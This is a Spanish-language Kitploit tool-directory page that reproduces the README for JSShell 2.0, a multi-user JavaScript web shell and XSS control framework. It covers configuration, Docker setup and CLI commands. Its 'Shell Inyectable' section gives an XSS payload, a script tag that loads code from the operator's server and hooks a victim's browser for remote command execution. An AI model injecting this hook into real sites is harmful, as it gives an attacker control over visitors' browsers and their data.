Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
JSShell — Un shell web JS interactivo multiusuario | Kitploit
Herramientas/GitHubGitHub/den1al/jsshell
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubden1al/jsshell

JSShell

Un shell web JS interactivo multiusuario

Ver Repositorio
36470hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

JSShell 2.0

made-with-python Generic badge Generic badge

Un shell de JavaScript interactivo multiusuario basado en la web. Fue creado inicialmente para depurar navegadores esotéricos remotos durante experimentos e investigación. Esta herramienta se puede adjuntar fácilmente a cargas útiles XSS (Cross Site Scripting) para lograr la ejecución remota de código en el navegador (similar al framework BeeF).

La versión 2.0 fue creada desde cero, introduciendo nuevas y emocionantes características, estabilidad y mantenibilidad.

Versión: 2.0

Autor

Daniel Abeles.

Video del Shell

asciicast

Características

  • Soporte para múltiples clientes
  • Soporte para objetos DOM cíclicos
  • Scripts de pre-vuelo
  • Cola de comandos y contexto
  • Extensible con plugins
  • Inyectable mediante etiquetas <script>
  • Volcado de salida de comandos a un archivo
  • Paginación del shell
  • ¡Soporte HTTPS! Generic badge

Instalación y Configuración

Archivo de Configuración

En el directorio resources, actualice el archivo config.json con la configuración deseada:

  • Host de la base de datos - si se ejecuta con el método de despliegue docker, elija el host de la base de datos como db (que es el nombre del host interno).
  • URL de retorno - la URL que seguirán las solicitudes. El archivo shell.js realiza llamadas AJAX para registrarse y consultar nuevos comandos. Generalmente será http[s]://{YOUR_SERVER_IP}:{PORT}.
  • Script de inicio - un script que se ejecuta automáticamente cuando se genera el cliente CLI de JSShell.
  • Dominio - si desea generar certificados TLS, este es el nombre de dominio que usará el servidor.
  • También es posible apuntar a una base de datos remota si se desea.

Let's Encrypt

Ahora JSShell es compatible con TLS, lo que significa que puede generar certificados TLS y proporcionarlos al servidor web. El servidor web inferirá el nombre de dominio del archivo config.json. Para crear el certificado, use el script create_cert.py en la carpeta scripts:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
el campo de correo electrónico es opcional.

Tenga en cuenta que el servidor web debe estar detenido para que el script funcione correctamente. ¡En este punto, hemos generado exitosamente nuestros certificados! Las únicas modificaciones que debemos hacer son:

  • En el archivo config.json, cambie el esquema del campo URL a https.
  • En el archivo docker-compose.yml, cambie el puerto expuesto del contenedor web a 443.

Docker

Esta nueva versión admite la instalación y ejecución de JSShell mediante docker y docker-compose. Ahora, para instalar y ejecutar todo el framework JSShell, simplemente ejecute:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

Esto hará:

  • Iniciar y crear la base de datos en segundo plano
  • Iniciar el servidor API web que maneja las conexiones entrantes en segundo plano
  • Generar una nueva instancia del contenedor de línea de comandos JSShell

Regular

Si aún desea usar el método tradicional de instalación, simplemente asegúrese de tener una base de datos MongoDB en funcionamiento y actualice el archivo config.json ubicado en el directorio resources.

Recomiendo usar un entorno virtual con pyenv:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

O usando virtualenv:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Luego, instale los requisitos:

root@kitploit:~
$ pip install -r requirements.txt

Ejecución

Si usó el método docker, no es necesario ejecutar el siguiente procedimiento.

Servidor Web

De lo contrario, una vez que tengamos la base de datos configurada, debemos iniciar el servidor API web. Para hacerlo, ejecute:

root@kitploit:~
$ python manage.py web

Esto creará y ejecutará un servidor web que escucha las conexiones entrantes y sirve nuestro código JSShell.

Shell

Ahora, para iniciar la CLI de JSShell, ejecute el mismo script pero ahora con la bandera shell:

root@kitploit:~
$ python manage.py shell

Uso

Después de la configuración y ejecución de los componentes requeridos, ingrese el comando help para ver los comandos disponibles:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

Flujo

JSShell admite 2 métodos de operación:

  1. Shell inyectable (similar al framework BeeF)
  2. Shell alojado (para depuración)

Shell Inyectable

Similar a otros frameworks de control XSS (como BeeF), JSShell es capaz de gestionar explotaciones XSS exitosas. Por ejemplo, si puede inyectar una etiqueta script, inyecte el siguiente recurso en su carga útil y un nuevo cliente aparecerá en su consola:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell Alojado

Si desea depurar navegadores exóticos y esotéricos, simplemente puede navegar a http[s]://{YOUR_SERVER_IP}:{PORT}/ y aparecerá un nuevo cliente en su cliente CLI de JSShell. Ahora es depurable a través de nuestra consola JSShell.

Créditos

Canop por JSON.prune

úselo bajo su propia responsabilidad y riesgo.
Descargar herramienta